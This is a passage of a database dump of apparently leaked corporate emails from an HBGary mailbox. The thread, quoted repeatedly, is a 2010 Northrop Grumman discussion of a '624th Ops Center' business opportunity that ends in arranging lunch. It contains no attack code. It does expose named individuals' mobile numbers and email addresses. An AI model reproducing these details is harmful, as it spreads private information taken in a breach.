wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image002.gif&gt;\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nGreetings\r\nfrom the Secret Squirrel Society.&nbsp; I&#8217;d like to have an informal discussion\r\nwith you some time on what you&#8217;re doing now.&nbsp; I suspect that it would be\r\nbeneficial to both companies to for us to talk.&nbsp; Please let me know if\r\nyou&#8217;re interested.&nbsp; Thanks.\r\n\r\n&nbsp;\r\n\r\nTorch\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\nSent: Friday, January 29, 2010 3:47 PM\r\nTo: Aaron Barr; Hale, Jim (AS)\r\nSubject: 624th Ops Center--Next Steps\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI spoke at length with Vickie Michaels of\r\nCyberSpace Operations Consulting, LLC.&nbsp; Fundamentally her company is\r\ninterested, but wants NGC to pay her company upfront to consultant in bringing\r\nthis business case together.&nbsp; I conveyed that was not going to work, but\r\nif she could get her boss to sign the NDA, I would work with her to see how\r\nthey might fit. \r\n\r\n&nbsp;\r\n\r\nOf note, she wasn&#8217;t interested in investing\r\n2-4 hours of her own time just tighten the shot pattern on this effort.&nbsp;\r\nWe left it with her going to see her boss and present the case (for which she\r\ndid not seem overly enthusiastic)&#8212;we&#8217;ll see.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAs I mentioned, CSOC would be nice to have\r\non this team, but not essential.&nbsp; We have Tom Hobbins, Bob Hinson, Tim\r\nPeppe, Jim Hale, Mike Edwards, and others that you know to assist with senior\r\ncustomer interface.&nbsp; \r\n\r\n&nbsp;\r\n\r\nUntil we hear from Vickie, not sure we\r\nshould plan to rendezvous in San Antonio&#8212;I&#8217;ll stay on top of this and keep you\r\nin-the-loop. \r\n\r\n&nbsp;\r\n\r\nAlso, Jim Hale has some things in the work\r\nthat he believes will be of interest to you.&nbsp; He&#8217;ll be in touch soon.\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nJim \'Torch\' Hale \r\n\r\n(719) 238-0763\r\n(mobile)\r\n\r\n&nbsp;\r\n\r\nAaron Barr\r\n\r\n(719) 510-8478\r\n(mobile)\r\n\r\n(301) 652-8885 x117\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBest regards, \r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8529,'aaron_hbgary_com/8529.html'),(1849,'2010-02-01','\"Hale, Jim (AS)\" <jim.hale@ngc.com>','/aaron@hbgary.com/new/1297000625.M719129P3547Q1849.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: 624th Ops Center--Next Steps','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWanna do lunch?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 12:13 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSure still up north?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 12:11 PM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow\r\nabout 1300L?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 12:10 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAll\r\nafternoon\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 12:09 PM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK.&nbsp;\r\nWhat time are you available today?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 12:08 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOk\r\njust let me know.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 11:23 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMaybe\r\nlate this PM or early Wed AM.&nbsp; Tues we have our Bethpage &#8220;owners&#8221; coming\r\nout for interrogations and beatings.&nbsp; Does that work for you?\r\n\r\n&nbsp;\r\n\r\nTorch\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 8:32 AM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHey\r\nGood to hear from you (virtual secret handshake extended).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSounds\r\ngood. &nbsp;I am in the springs through wednesday. &nbsp;Get in the afternoon.\r\n&nbsp;We have meetings with Lawrence hill and comany tomorrow afternoon.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 9:16 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image002.gif&gt;\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nGreetings\r\nfrom the Secret Squirrel Society.&nbsp; I&#8217;d like to have an informal discussion\r\nwith you some time on what you&#8217;re doing now.&nbsp; I suspect that it would be beneficial\r\nto both companies to for us to talk.&nbsp; Please let me know if you&#8217;re\r\ninterested.&nbsp; Thanks.\r\n\r\n&nbsp;\r\n\r\nTorch\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\nSent: Friday, January 29, 2010 3:47 PM\r\nTo: Aaron Barr; Hale, Jim (AS)\r\nSubject: 624th Ops Center--Next Steps\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI spoke at length with Vickie Michaels of\r\nCyberSpace Operations Consulting, LLC.&nbsp; Fundamentally her company is\r\ninterested, but wants NGC to pay her company upfront to consultant in bringing this\r\nbusiness case together.&nbsp; I conveyed that was not going to work, but if she\r\ncould get her boss to sign the NDA, I would work with her to see how they might\r\nfit. \r\n\r\n&nbsp;\r\n\r\nOf note, she wasn&#8217;t interested in investing\r\n2-4 hours of her own time just tighten the shot pattern on this effort.&nbsp;\r\nWe left it with her going to see her boss and present the case (for which she\r\ndid not seem overly enthusiastic)&#8212;we&#8217;ll see.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAs I mentioned, CSOC would be nice to have\r\non this team, but not essential.&nbsp; We have Tom Hobbins, Bob Hinson, Tim\r\nPeppe, Jim Hale, Mike Edwards, and others that you know to assist with senior\r\ncustomer interface.&nbsp; \r\n\r\n&nbsp;\r\n\r\nUntil we hear from Vickie, not sure we\r\nshould plan to rendezvous in San Antonio&#8212;I&#8217;ll stay on top of this and keep you\r\nin-the-loop. \r\n\r\n&nbsp;\r\n\r\nAlso, Jim Hale has some things in the work\r\nthat he believes will be of interest to you.&nbsp; He&#8217;ll be in touch soon.\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nJim \'Torch\' Hale \r\n\r\n(719) 238-0763\r\n(mobile)\r\n\r\n&nbsp;\r\n\r\nAaron Barr\r\n\r\n(719) 510-8478\r\n(mobile)\r\n\r\n(301) 652-8885 x117\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBest regards, \r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15491,'aaron_hbgary_com/15491.html'),(1850,'2010-02-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000625.M951911P3547Q1850.eml','\"Hale, Jim (AS)\" <jim.hale@ngc.com>','Re: 624th Ops Center--Next Steps','Sounds goodFrom my iPhoneOn Feb 1, 2010, at 12:14 PM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nWanna do lunch?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 12:13 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nSure still up north?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 12:11 PM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow\r\nabout 1300L?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Monday, February 01, 2010 12:10 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAll\r\nafternoon\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 12:09 PM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK. \r\nWhat time are you available today?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Monday, February 01, 2010 12:08 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOk\r\njust let me know.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 11:23 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMaybe\r\nlate this PM or early Wed AM.  Tues we have our Bethpage “owners” coming\r\nout for interrogations and beatings.  Does that work for you?\r\n\r\n \r\n\r\nTorch\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Monday, February 01, 2010 8:32 AM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nHey\r\nGood to hear from you (virtual secret handshake extended).\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSounds\r\ngood.  I am in the springs through wednesday.  Get in the afternoon.\r\n We have meetings with Lawrence hill and comany tomorrow afternoon.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 9:16 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image002.gif&gt;\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nGreetings\r\nfrom the Secret Squirrel Society.  I’d like to have an informal discussion\r\nwith you some time on what you’re doing now.  I suspect that it would be beneficial\r\nto both companies to for us to talk.  Please let me know if you’re\r\ninterested.  Thanks.\r\n\r\n \r\n\r\nTorch\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\n\r\nSent: Friday, January 29, 2010 3:47 PM\r\nTo: Aaron Barr; Hale, Jim (AS)\r\nSubject: 624th Ops Center--Next Steps\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron,\r\n\r\n \r\n\r\nI spoke at length with Vickie Michaels of\r\nCyberSpace Operations Consulting, LLC.  Fundamentally her company is\r\ninterested, but wants NGC to pay her company upfront to consultant in bringing this\r\nbusiness case together.  I conveyed that was not going to work, but if she\r\ncould get her boss to sign the NDA, I would work with her to see how they might\r\nfit. \r\n\r\n \r\n\r\nOf note, she wasn’t interested in investing\r\n2-4 hours of her own time just tighten the shot pattern on this effort. \r\nWe left it with her going to see her boss and present the case (for which she\r\ndid not seem overly enthusiastic)—we’ll see.  \r\n\r\n \r\n\r\nAs I mentioned, CSOC would be nice to have\r\non this team, but not essential.  We have Tom Hobbins, Bob Hinson, Tim\r\nPeppe, Jim Hale, Mike Edwards, and others that you know to assist with senior\r\ncustomer interface.  \r\n\r\n \r\n\r\nUntil we hear from Vickie, not sure we\r\nshould plan to rendezvous in San Antonio—I’ll stay on top of this and keep you\r\nin-the-loop. \r\n\r\n \r\n\r\nAlso, Jim Hale has some things in the work\r\nthat he believes will be of interest to you.  He’ll be in touch soon.\r\n \r\n\r\n \r\n\r\nJim &#39;Torch&#39; Hale \r\n\r\n(719) 238-0763\r\n(mobile)\r\n\r\n \r\n\r\nAaron Barr\r\n\r\n(719) 510-8478\r\n(mobile)\r\n\r\n(301) 652-8885 x117\r\n\r\n \r\n\r\n \r\n\r\nBest regards, \r\n\r\n \r\n\r\nRobert &#39;Bob&#39; Shows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14240,'aaron_hbgary_com/14240.html'),(1851,'2010-02-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000626.M154195P3547Q1851.eml','\"Hale, Jim (AS)\" <jim.hale@ngc.com>','Re: 624th Ops Center--Next Steps','I am downtown now just tell me wherFrom my iPhoneOn Feb 1, 2010, at 12:14 PM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nWanna do lunch?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 12:13 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nSure still up north?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 12:11 PM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow\r\nabout 1300L?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Monday, February 01, 2010 12:10 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAll\r\nafternoon\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 12:09 PM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK. \r\nWhat time are you available today?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Monday, February 01, 2010 12:08 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOk\r\njust let me know.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 11:23 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMaybe\r\nlate this PM or early Wed AM.  Tues we have our Bethpage “owners” coming\r\nout for interrogations and beatings.  Does that work for you?\r\n\r\n \r\n\r\nTorch\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Monday, February 01, 2010 8:32 AM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nHey\r\nGood to hear from you (virtual secret handshake extended).\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSounds\r\ngood.  I am in the springs through wednesday.  Get in the afternoon.\r\n We have meetings with Lawrence hill and comany tomorrow afternoon.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 9:16 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image002.gif&gt;\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nGreetings\r\nfrom the Secret Squirrel Society.  I’d like to have an informal discussion\r\nwith you some time on what you’re doing now.  I suspect that it would be beneficial\r\nto both companies to for us to talk.  Please let me know if you’re\r\ninterested.  Thanks.\r\n\r\n \r\n\r\nTorch\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\n\r\nSent: Friday, January 29, 2010 3:47 PM\r\nTo: Aaron Barr; Hale, Jim (AS)\r\nSubject: 624th Ops Center--Next Steps\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron,\r\n\r\n \r\n\r\nI spoke at length with Vickie Michaels of\r\nCyberSpace Operations Consulting, LLC.  Fundamentally her company is\r\ninterested, but wants NGC to pay her company upfront to consultant in bringing this\r\nbusiness case together.  I conveyed that was not going to work, but if she\r\ncould get her boss to sign the NDA, I would work with her to see how they might\r\nfit. \r\n\r\n \r\n\r\nOf note, she wasn’t interested in investing\r\n2-4 hours of her own time just tighten the shot pattern on this effort. \r\nWe left it with her going to see her boss and present the case (for which she\r\ndid not seem overly enthusiastic)—we’ll see.  \r\n\r\n \r\n\r\nAs I mentioned, CSOC would be nice to have\r\non this team, but not essential.  We have Tom Hobbins, Bob Hinson, Tim\r\nPeppe, Jim Hale, Mike Edwards, and others that you know to assist with senior\r\ncustomer interface.  \r\n\r\n \r\n\r\nUntil we hear from Vickie, not sure we\r\nshould plan to rendezvous in San Antonio—I’ll stay on top of this and keep you\r\nin-the-loop. \r\n\r\n \r\n\r\nAlso, Jim Hale has some things in the work\r\nthat he believes will be of interest to you.  He’ll be in touch soon.\r\n \r\n\r\n \r\n\r\nJim &#39;Torch&#39; Hale \r\n\r\n(719) 238-0763\r\n(mobile)\r\n\r\n \r\n\r\nAaron Barr\r\n\r\n(719) 510-8478\r\n(mobile)\r\n\r\n(301) 652-8885 x117\r\n\r\n \r\n\r\n \r\n\r\nBest regards, \r\n\r\n \r\n\r\nRobert &#39;Bob&#39; Shows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11590,'aaron_hbgary_com/11590.html'),(1852,'2010-02-01','\"Hale, Jim (AS)\" <jim.hale@ngc.com>','/aaron@hbgary.com/new/1297000626.M359822P3547Q1852.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: 624th Ops Center--Next Steps','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhere are you located?&nbsp; Can do somewhere close to you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 12:15 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSounds good\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 12:14 PM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWanna\r\ndo lunch?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 12:13 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSure\r\nstill up north?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 12:11 PM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow\r\nabout 1300L?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 12:10 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAll\r\nafternoon\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 12:09 PM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK.&nbsp;\r\nWhat time are you available today?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 12:08 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOk\r\njust let me know.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 11:23 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMaybe\r\nlate this PM or early Wed AM.&nbsp; Tues we have our Bethpage &#8220;owners&#8221; coming\r\nout for interrogations and beatings.&nbsp; Does that work for you?\r\n\r\n&nbsp;\r\n\r\nTorch\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 8:32 AM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHey\r\nGood to hear from you (virtual secret handshake extended).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSounds\r\ngood. &nbsp;I am in the springs through wednesday. &nbsp;Get in the afternoon.\r\n&nbsp;We have meetings with Lawrence hill and comany tomorrow afternoon.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 9:16 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image002.gif&gt;\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nGreetings\r\nfrom the Secret Squirrel Society.&nbsp; I&#8217;d like to have an informal discussion\r\nwith you some time on what you&#8217;re doing now.&nbsp; I suspect that it would be\r\nbeneficial to both companies to for us to talk.&nbsp; Please let me know if\r\nyou&#8217;re interested.&nbsp; Thanks.\r\n\r\n&nbsp;\r\n\r\nTorch\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\nSent: Friday, January 29, 2010 3:47 PM\r\nTo: Aaron Barr; Hale, Jim (AS)\r\nSubject: 624th Ops Center--Next Steps\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI spoke at length with Vickie Michaels of\r\nCyberSpace Operations Consulting, LLC.&nbsp; Fundamentally her company is\r\ninterested, but wants NGC to pay her company upfront to consultant in bringing\r\nthis business case together.&nbsp; I conveyed that was not going to work, but\r\nif she could get her boss to sign the NDA, I would work with her to see how\r\nthey might fit. \r\n\r\n&nbsp;\r\n\r\nOf note, she wasn&#8217;t interested in investing\r\n2-4 hours of her own time just tighten the shot pattern on this effort.&nbsp;\r\nWe left it with her going to see her boss and present the case (for which she\r\ndid not seem overly enthusiastic)&#8212;we&#8217;ll see.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAs I mentioned, CSOC would be nice to have\r\non this team, but not essential.&nbsp; We have Tom Hobbins, Bob Hinson, Tim\r\nPeppe, Jim Hale, Mike Edwards, and others that you know to assist with senior\r\ncustomer interface.&nbsp; \r\n\r\n&nbsp;\r\n\r\nUntil we hear from Vickie, not sure we\r\nshould plan to rendezvous in San Antonio&#8212;I&#8217;ll stay on top of this and keep you\r\nin-the-loop. \r\n\r\n&nbsp;\r\n\r\nAlso, Jim Hale has some things in the work that\r\nhe believes will be of interest to you.&nbsp; He&#8217;ll be in touch soon. &nbsp;\r\n\r\n&nbsp;\r\n\r\nJim \'Torch\' Hale \r\n\r\n(719) 238-0763\r\n(mobile)\r\n\r\n&nbsp;\r\n\r\nAaron Barr\r\n\r\n(719) 510-8478\r\n(mobile)\r\n\r\n(301) 652-8885 x117\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBest regards, \r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8681,'aaron_hbgary_com/8681.html'),(1853,'2010-02-01','\"Hale, Jim (AS)\" <jim.hale@ngc.com>','/aaron@hbgary.com/new/1297000626.M564894P3547Q1853.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: 624th Ops Center--Next Steps','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n 